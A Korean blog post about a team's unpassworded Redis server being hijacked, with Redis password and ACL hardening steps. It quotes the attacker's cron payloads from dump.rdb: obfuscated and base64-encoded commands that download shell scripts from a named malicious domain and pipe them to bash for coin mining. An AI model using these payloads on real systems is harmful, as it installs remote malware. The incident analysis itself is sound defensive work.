Redis 해킹당한 이야기
2022.12.05
부스트캠프 팀 프로젝트인 PRV(논문 인용관계 시각화 서비스)에서는 Redis를 사용하여 인기 검색어 순위를 확인할 수 있도록 했다.
API 서버의 /keyword-ranking
으로 GET 요청을 보내면, 검색된 횟수의 내림차순으로 10개까지의 결과를 전달받게 된다.
데이터 형식에는 Sorted Set
을 사용하여 검색어가 입력된 횟수에 따라 정렬되도록 했다.
왜 Redis를 사용했는가?
Redis : key-value 인메모리 데이터베이스
인메모리 DB 라는 점에서, 일반적인 DB를 사용하는 것보다 속도에서의 이점을 갖는다.
Sorted Set 사용하면 정렬된 형태의 데이터를 사용하기 쉽다.
서버는 개발단계에 따라 지속적인 배포가 이루어지고 있다. 이 때, 서버의 메모리를 사용하여 검색어 순위를 구현한다면 서버가 재시작할 될 때 마다 검색어들이 초기화된다. 별도의 Redis 서버를 운영하여 api 서버는 재시작되더라도 Redis에는 이전까지 저장되어있던 검색어들이 휘발되지 않도록 할 필요가 있었다.
Redis에 저장해놓은 데이터가 사라진다?
GET /keyword-ranking
을 했을 때, Redis 이미지가 새롭게 생성되거나 하지 않았는데도 저장해놓은 key 값이 사라지는 현상을 발견하게되었다.
최초에 이 현상에 대해 들었던 의문은 두가지였다.
- 배포될 때마다 Redis 컨테이너가 새롭게 생성되면서 기존에 저장되어있던 정보들이 날아가나?
- Redis DB의 영속성 관련 설정을 제대로 해주지 않았나?
이상 현상의 원인을 찾아간 과정
redis-cli
를 통해keys *
로 확인해보니,backup1
,backup2
,backup3
이라는 키값들이 존재했다.팀원중에 누군가 해당 키워드로 검색한 것인지 확인해봤으나 아무도 해당 키워드를 사용하지는 않았다고 한다.
redis log를 확인해보니, 레디스에서 save 되는 명령어가 반복되었고, 해당 시점이 데이터가 날아간 시점이었다.
backup
key에 저장된 값을 조회해보니, cron 명령어 형식이 들어있는 것을 보고, redis에서 자동으로 backup을 이런식으로 해주는구나로 생각해버리고 말았다.하지만, redis에서 db를 backup하는 방식은 RDB 또는 AOF 방식이다.
분명 RDB 형태로 데이터 셋을 스냅샷하여 저장하도록 설정해놨는데, 사용하지 않은 key가 redis에 set된 다는 것은 이상하다는 생각이 들었다.
dump.rdb
파일을 확인해보니,backup1
,backup2
,backup3
외에 이상한 python2 코드가 있는 것을 확인했다.# dump.rdb @hourly root python -c "import urllib2; print urllib2.urlopen('<http://ki>\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1 ...
urlopen을 하려는 url에서
\\
를 제외해보면http://kiss.a-dog.top/t.sh
이다. (해당 링크에 접속하면 t.sh 파일이 다운로드 되니 주의 바람)여기서 해커가
\\
를 사용한 이유는 자동으로 악의적인 도메인을 거르는 필터를 무력화시키고, python의 urllib2 라이브러리가 백슬래시를 무시하는 것을 악용한 것이 되겠다.이 부분외에도, backup3, 2, 1에 저장되어 있는 value는 base64로 encode 되어있다.
# dump.rdb ... backup3@c */4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash backup2@o */3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash backup1@d */2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash
각각의 echo 되는 value들을 base64 decode 해보면 다음과 같다.
curl <http://kiss.a-dog.top/b2f628/b.sh> wget -q -O- <http://kiss.a-dog.top/b2f628/b.sh> cd1 <http://kiss.a-dog.top/b2f628/b.sh>
t.sh
파일과b.sh
파일은 내용을 확인해보니 동일한 shell script 였다. 각 shell script에서는 또 다른kiss.a-dog.top
url 쪽의 또 다른 shell script를 불러와서 실행하도록 한다.http://kiss.a-dog.top/b2f628/d/ar.sh
해당 파일의 코드를 읽어보면, echo 하는 부분이 재미있으니 심심하면 한번 보기 바란다. base64로 encoding 된 코드를 실행하는 부분은 참신했다.우리 서버를 코인 마이닝 서버로 활용하려고 했다.
결론: 비밀번호를 ‘꼭’ 설정하자
PRV의 개발서버가 배포될 때는 서버 내부에 작성된 docker-compose 파일에 작성된대로 container가 생성된다.
그 중에서 redis에 password를 설정하는 방법은 아래와 같다.
# docker-compose.yml
...
redis:
image: redis:7.0.5
ports:
- 6379:6379
command: redis-server --save 60 1000 --loglevel notice --requirepass ${REDIS_PASSWORD}
...
command를 주지 않아도 redis가 기본 옵션으로 실행되지만, 이 때는 password가 설정되지 않았다는 로그를 확인해볼 수 있다.
환경변수가 잘 전달되고 있는지 확인해보려면 다음과 같이 하면 된다.
docker compose --env-file .env convert
docker compose 파일 내부로 작성된 환경변수를 전달하기 위해서는 다음과 같이 할 수 있다.
docker compose --env-file .env up -d
비밀번호를 설정한 후, redis-cli에 접속하여 ping 명령어를 입력해보자.
NOAUTH Authentication required.
에러를 확인하게 될 것이다.
auth 패스워드
를 입력한 후에야 redis command들을 정상적으로 사용할 수 있다.
비밀번호를 설정하는 것 외에도, Redis에서는 ACL(Access Control List) 시스템을 제공한다.
아래의 예시를 살펴보자.
# 1
ACL SETUSER alice on >p1pp0 ~cached:* +get
# 2
AUTH alice p1pp0
- #1 : alice 라는 user를 생성한다.
- pw : p1pp0
- cached 로 시작하는 key들에 접근할 수 있다. (allkeys : 모든 키에 접근 가능)
- 접근할 때는 get 만 사용할 수 있다. (allcommands : 모든 명령어 사용 가능)
- #2 : alice 계정으로 redis를 사용하도록 한다.
비밀번호만 설정한다는 것은 "default"
user를 사용한다는 의미이다.
ACL feature를 사용하여 user를 생성하고, user가 접근할 수 있는 key와 command를 지정해놓는다면, redis를 조금 더 안전하게 사용할 수 있을 것이다.